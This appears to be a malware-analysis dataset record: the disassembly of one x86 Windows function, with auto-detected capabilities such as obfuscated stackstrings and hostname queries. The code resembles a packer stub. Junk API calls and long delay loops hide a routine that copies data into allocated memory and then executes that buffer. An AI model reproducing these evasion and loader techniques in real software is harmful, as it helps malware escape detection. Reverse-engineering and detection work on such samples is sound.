Function at 0x404e6a
Capabilities:
Access the windows event log
Contain obfuscated stackstrings
Get disk information
Get file attributes
Get hostname
Get thread local storage value
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1194
call fcn.0040e230
cmp dword [0x504384], 0x412
push ebx
push esi
push edi
jne 0x404ec8
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
xor esi, esi
push esi
push esi
push 0x404028
push esi
call dword [sym.imp.GDI32.dll_GetTextExtentExPointW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
call fcn.004064da
push esi
call fcn.004064f0
pop ecx
pop ecx
push esi
call fcn.00406e28
add dword [0x504384], 0xb2d3b
push 0x404084
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push dword [0x504384]
xor esi, esi
push esi
mov dword [0x504154], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x504150], eax
call fcn.00404dc0
xor edi, edi
cmp dword [0x504384], esi
jbe 0x404f3b
mov eax, dword [0x504388]
mov al, byte [eax + edi + 0xb2d3b]
mov ecx, dword [0x504150]
mov byte [ecx + edi], al
cmp dword [0x504384], 0x292
jne 0x404f32
push 0x4040a0
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
inc edi
cmp edi, dword [0x504384]
jb 0x404f05
xor edi, edi
mov eax, dword [0x504384]
add eax, edi
cmp eax, 0x5e
jne 0x404fb1
push esi
push 0x4040a8
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProfileIntW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
lea eax, [ebp - 0xd90]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x12c]
push eax
push esi
lea eax, [ebp - 0x590]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x4040bc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x990]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
inc edi
cmp edi, 0x40c893
jl 0x404f3d
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x1b92e5b
jge 0x405778
mov dword [ebp - 0x84], 0x67e462f3
mov dword [ebp - 0x7c], 0x5af06d69
mov dword [ebp - 0xc], 0x550e6073
mov dword [ebp - 0x74], 0x4b56b9f1
mov dword [ebp - 0xe0], 0x26994589
mov dword [ebp - 0xfc], 0x15985316
mov dword [ebp - 0xe8], 0x27020532
mov dword [ebp - 0x70], 0x6b9abad0
mov dword [ebp - 0x6c], 0x3e73eb66
mov dword [ebp - 0x44], 0x7117be28
mov dword [ebp - 0x114], 0x5da604f3
mov dword [ebp - 0xf4], 0x5f7cd3d6
mov dword [ebp - 0xf8], 0x46721115
mov dword [ebp - 0x60], 0x1a8f0345
mov dword [ebp - 0x30], 0x50cc38f8
mov dword [ebp - 0x90], 0x4a848631
mov dword [ebp - 0xbc], 0x12e177b5
mov dword [ebp - 0xec], 0x1a4215b7
mov dword [ebp - 0xe4], 0x3b8c8b6a
mov dword [ebp - 0x148], 0x701071da
mov dword [ebp - 0xdc], 0x4dde9e67
mov dword [ebp - 0x10c], 0x2138cdcc
mov dword [ebp - 0x64], 0x79e12465
mov dword [ebp - 0xd4], 0x162df8c2
mov dword [ebp - 0x13c], 0x2e27f6b9
mov dword [ebp - 0xb4], 0x363c5601
mov dword [ebp - 0xac], 0x53842e8a
mov dword [ebp - 0x58], 0x43e591ec
mov dword [ebp - 0x3c], 0x5eebb39e
mov dword [ebp - 0x34], 0x72b95c38
mov dword [ebp - 0x110], 0x2de3b1b4
mov dword [ebp - 0x120], 0x190b9d4e
mov dword [ebp - 0x5c], 0xfe4109f
mov dword [ebp - 0x124], 0x54ae7bc5
mov dword [ebp - 0xcc], 0x1411b51d
mov dword [ebp - 0xb8], 0x68c2a4e4
mov dword [ebp - 0x14], 0x25db7a5
mov dword [ebp - 0x28], 0x6df25c1e
mov dword [ebp - 0xd8], 0x58a91d
mov dword [ebp - 0xc0], 0x23420a38
mov dword [ebp - 0x128], 0x749db312
mov dword [ebp - 0x50], 0x73b9f5d5
mov dword [ebp - 0x104], 0x78838e04
mov dword [ebp - 0xb0], 0x789f54e0
mov dword [ebp - 0x118], 0x5f80cd7c
mov dword [ebp - 0x134], 0x723d872f
mov dword [ebp - 0x54], 0x1c20b523
mov dword [ebp - 8], 0x39933e29
mov dword [ebp - 0x4c], 0x6a6cdf36
mov dword [ebp - 0x88], 0x2f4182c9
mov dword [ebp - 0x48], 0x6ad8ef0c
mov dword [ebp - 0x94], 0x3a6c434
mov dword [ebp - 0xa4], 0x11c906fe
mov dword [ebp - 0xa8], 0x402d3c3a
mov dword [ebp - 0xf0], 0x52ee4d1b
mov dword [ebp - 0x108], 0x347c6d6c
mov dword [ebp - 0x38], 0x11b0372a
mov dword [ebp - 0x2c], 0x2fbc9c79
mov dword [ebp - 0xc4], 0x583c1114
mov dword [ebp - 0x80], 0x17263a72
mov dword [ebp - 0x24], 0xce8ec49
mov dword [ebp - 0x1c], 0x205defbb
mov dword [ebp - 4], 0x31df762c
mov dword [ebp - 0xc8], 0x448f7225
mov dword [ebp - 0xa0], 0x3063220d
mov dword [ebp - 0x68], 0x2f8d2ea5
mov dword [ebp - 0x144], 0x123be14
mov dword [ebp - 0x12c], 0x551450a8
mov dword [ebp - 0x20], 0x22150baf
mov dword [ebp - 0x8c], 0x5cf25b83
mov dword [ebp - 0x150], 0x6950ea8
mov dword [ebp - 0x10], 0x63c398fe
mov dword [ebp - 0xd0], 0x57b6e36
mov dword [ebp - 0x98], 0x688827b4
mov dword [ebp - 0x14c], 0x70571416
mov dword [ebp - 0x18], 0x60f034a3
mov dword [ebp - 0x100], 0x7d50f5eb
mov dword [ebp - 0x40], 0x78cd8b6f
mov dword [ebp - 0x78], 0x1fd366fc
mov dword [ebp - 0x140], 0x530f435e
mov dword [ebp - 0x138], 0x28187254
mov dword [ebp - 0x9c], 0x360de2c2
mov dword [ebp - 0x11c], 0x25b3a818
add dword [ebp - 0x84], 0x5caa67d5
add dword [ebp - 0x7c], 0x3b4ed235
mov eax, 0x147b3414
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
add dword [ebp - 0x84], 0x9e62a32
mov eax, 0x8c087a0
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
sub dword [ebp - 0x74], 0x8187383
add dword [ebp - 0x84], 0x4c135ce0
sub dword [ebp - 0xc], 0x57444216
add dword [ebp - 0xfc], 0x43039132
mov eax, 0x63e3d520
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
sub dword [ebp - 0xfc], 0x4703250d
sub dword [ebp - 0xe8], 0x17f9cbea
sub dword [ebp - 0xfc], 0x5cb4ba90
sub dword [ebp - 0x84], 0x559ddfdf
mov eax, 0x4379f44
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, 0x5434336c
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0xfc], 0x15219df6
add dword [ebp - 0xfc], 0x2ee0da94
add dword [ebp - 0x7c], 0x179c7ebc
sub dword [ebp - 0xfc], 0x6ee50c3d
add dword [ebp - 0xfc], 0x736fd115
mov eax, 0x179989c3
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, 0x6f518a06
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
add dword [ebp - 0x6c], 0x58ac6b3
sub dword [ebp - 0x7c], 0x2461dbba
add dword [ebp - 0x7c], 0x53166a3
mov eax, 0x5bc2b01e
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
add dword [ebp - 0x70], 0x6067d7d6
mov eax, 0x5df11b94
mul dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
sub dword [ebp - 0x6c], 0x3a59ed01
add dword [ebp - 0x74], 0x502aa82c
add dword [ebp - 0x44], 0x40c398db
add dword [ebp - 0x44], 0x5316f79
add dword [ebp - 0x114], 0x5e5e1713
mov eax, 0x3a3f3d9f
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0x60], 0x5012eb95
sub dword [ebp - 0x114], 0x300a3d27
sub dword [ebp - 0xd4], 0x40f1be80
add dword [ebp - 0x64], 0x51907ee
add dword [ebp - 0xc], 0x53bf2d2
mov eax, 0xcf5778a
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
add dword [ebp - 0xfc], 0x62a7deba
mov eax, 0x403da5c2
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, 0x625563a1
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, 0x5ac6d07b
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0xec], 0x15a282bd
add dword [ebp - 0x7c], 0x750cf09
add dword [ebp - 0x10c], 0x265a1b03
sub dword [ebp - 0xb4], 0x7c55df99
add dword [ebp - 0xf4], 0x5c3f5cea
mov eax, 0xf2c10f5
mul dword [ebp - 0xdc]
mov eax, dword [ebp - 0xdc]
mov eax, 0x390e4840
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0x58], 0x5002a5aa
sub dword [ebp - 0xcc], 0x452fd972
add dword [ebp - 0x64], 0x5a859301
add dword [ebp - 0xec], 0x5b406f7a
sub dword [ebp - 0x60], 0x554aef4c
sub dword [ebp - 0x44], 0x3a465d9d
sub dword [ebp - 0x70], 0x56a948ad
add dword [ebp - 0x74], 0x76502a4c
add dword [ebp - 0x30], 0x1c3c6481
sub dword [ebp - 0x58], 0x31062905
sub dword [ebp - 0x90], 0x19570b2c
add dword [ebp - 0x120], 0x3720702c
mov eax, 0x730eb911
mul dword [ebp - 0x120]
mov eax, dword [ebp - 0x120]
sub dword [ebp - 0xc], 0x324c8da1
add dword [ebp - 0x6c], 0x37f2284d
mov eax, 0x790c5c23
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
add dword [ebp - 0x70], 0x5e4b11c3
sub dword [ebp - 0xac], 0x72ffab49
add dword [ebp - 0xcc], 0x2b31abb
add dword [ebp - 0xbc], 0x3ab7a116
add dword [ebp - 0xcc], 0x45825cdf
add dword [ebp - 0x34], 0x3949c1ed
mov eax, 0x413d737a
mul dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
mov eax, 0x20568741
mul dword [ebp - 0x134]
mov eax, dword [ebp - 0x134]
mov eax, 0x63b91a4
mul dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
add dword [ebp - 0xf4], 0x4b811fea
mov eax, 0x6fe2a988
mul dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov eax, 0x3f336834
mul dword [ebp - 0x120]
mov eax, dword [ebp - 0x120]
sub dword [ebp - 0x14], 0x4f9a4dab
add dword [ebp - 0x54], 0x749ceff
add dword [ebp - 0xcc], 0x10bffb89
sub dword [ebp - 0x6c], 0x2b0f6f5f
add dword [ebp - 0xec], 0x3365b823
mov eax, 0x4e34351
mul dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
sub dword [ebp - 0xd4], 0x42ff9f92
mov eax, 0xde28c44
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
add dword [ebp - 0xf4], 0x32a1e7fb
add dword [ebp - 0x4c], 0x2058b3c
add dword [ebp - 0xac], 0x988af5a
add dword [ebp - 0x128], 0x196202ca
sub dword [ebp - 0x124], 0x7f832484
mov eax, 0x44a8ccb3
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
sub dword [ebp - 0x10c], 0x12652de7
mov eax, 0x772e9724
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
sub dword [ebp - 8], 0xeafcb8e
sub dword [ebp - 0xf0], 0x141cfa96
add dword [ebp - 0x70], 0x1d7db3b5
sub dword [ebp - 0x3c], 0x63ba0c91
sub dword [ebp - 0xd8], 0x1ee4938d
mov eax, 0x5e5e4c15
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
add dword [ebp - 0x118], 0x7743f0d1
sub dword [ebp - 0x114], 0xac60d68
mov eax, 0x7173c55a
mul dword [ebp - 0x134]
mov eax, dword [ebp - 0x134]
mov eax, 0x583dedd1
mul dword [ebp - 0x124]
mov eax, dword [ebp - 0x124]
sub dword [ebp - 0xb8], 0x1ce466d9
mov eax, 0x232bfa3f
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
sub dword [ebp - 0xfc], 0x400cde42
mov eax, 0x2c517f7f
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
add dword [ebp - 0xc8], 0x7acaa60e
sub dword [ebp - 0x118], 0x6466e154
sub dword [ebp - 0xf0], 0x3d665518
mov eax, 0x788a3867
mul dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
sub dword [ebp - 0xd0], 0x2c800c08
sub dword [ebp - 0x44], 0x64c489e9
mov eax, 0x54a5d761
mul dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
cmp edi, 0x1b3afd6
jg 0x405793
inc edi
cmp edi, 0x16bae1c0
jl 0x404fbc
call fcn.00404cf1
xor ecx, ecx
cmp ecx, 0x770e
jne 0x4057a7
call fcn.00404da6
inc ecx
cmp ecx, 0x286b97d
jl 0x40579a
push 0x7b
pop edi
cmp dword [0x504384], 0xf
jne 0x4057cd
lea eax, [ebp - 0x190]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
dec edi
jne 0x4057b3
mov ebx, 0x184cc
cmp dword [0x504384], 0x1833b
jne 0x405871
push esi
lea eax, [ebp - 0x1190]
push eax
push 0x4040e0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x990]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
push esi
lea eax, [ebp - 0x590]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
dec ebx
jne 0x4057d5
call fcn.00404b0d
call dword [0x504150]
pop edi
pop esi
pop ebx
leave
ret